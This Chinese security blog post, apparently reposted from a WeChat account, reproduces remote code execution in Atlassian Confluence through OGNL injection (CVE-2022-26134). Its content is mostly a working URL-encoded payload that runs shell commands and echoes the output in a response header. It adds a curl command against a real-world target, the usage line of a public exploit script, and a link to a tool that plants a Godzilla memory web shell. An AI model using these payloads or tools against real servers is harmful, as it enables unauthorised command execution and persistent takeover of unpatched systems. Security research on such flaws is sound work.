Confluence OGNL注入漏洞复现(CVE-2022-26134)

admin 2025年1月28日15:13:01评论41 views字数 1608阅读5分21秒阅读模式

Confluence OGNL注入漏洞复现(CVE-2022-26134)

影响范围

Confluence Server&Data Center ≥ 1.3.0

Atlassian Confluence Server and Data Center <7.4.17 Atlassian Confluence Server and Data Center <7.13.7 Atlassian Confluence Server and Data Center <7.14.3 Atlassian Confluence Server and Data Center <7.15.2 Atlassian Confluence Server and Data Center <7.16.4 Atlassian Confluence Server and Data Center <7.17.4 Atlassian Confluence Server and Data Center <7.18.1

漏洞成因

Atlassian Confluence存在远程代码执行漏洞,2022年6月2日,Atlassian发布安全公告,公布了一个Confluence Server和Data Center中的远程代码执行漏洞。详细分析可参考:

https://www.anquanke.com/post/id/274026

漏洞利用

环境准备

名称
IP
攻击机
192.168.159.128
靶机
xxx.xxx.xxx.xxx

此处的靶机是我在实战里遇到的,另外该漏洞vulhub还未曾引入。

靶机截图如下:

Confluence OGNL注入漏洞复现(CVE-2022-26134)
image-20220729145604908

漏洞复现

手动复现

POC:

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/

测试:

curl -vv "http://xxx.xxx.xxx.xxx:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/"

可以看到如下图所示:

Confluence OGNL注入漏洞复现(CVE-2022-26134)
image-20220729152043723
工具复现

准备好生成POC工具:cve-2022-26134.py

工具地址:https://github.com/Nwqda/CVE-2022-26134

然后执行下方的命令:

python cve-2022-26134.py "http://xxx.xxx.xxx.xxx:8090/" "id"
Confluence OGNL注入漏洞复现(CVE-2022-26134)
image-20220729152816186

可以看到此漏洞利用成功!

附:一键连接哥斯拉生成工具:https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL

原文始发于微信公众号(0xh4ck3r):Confluence OGNL注入漏洞复现(CVE-2022-26134)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日15:13:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Confluence OGNL注入漏洞复现(CVE-2022-26134)https://cn-sec.com/archives/3665158.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息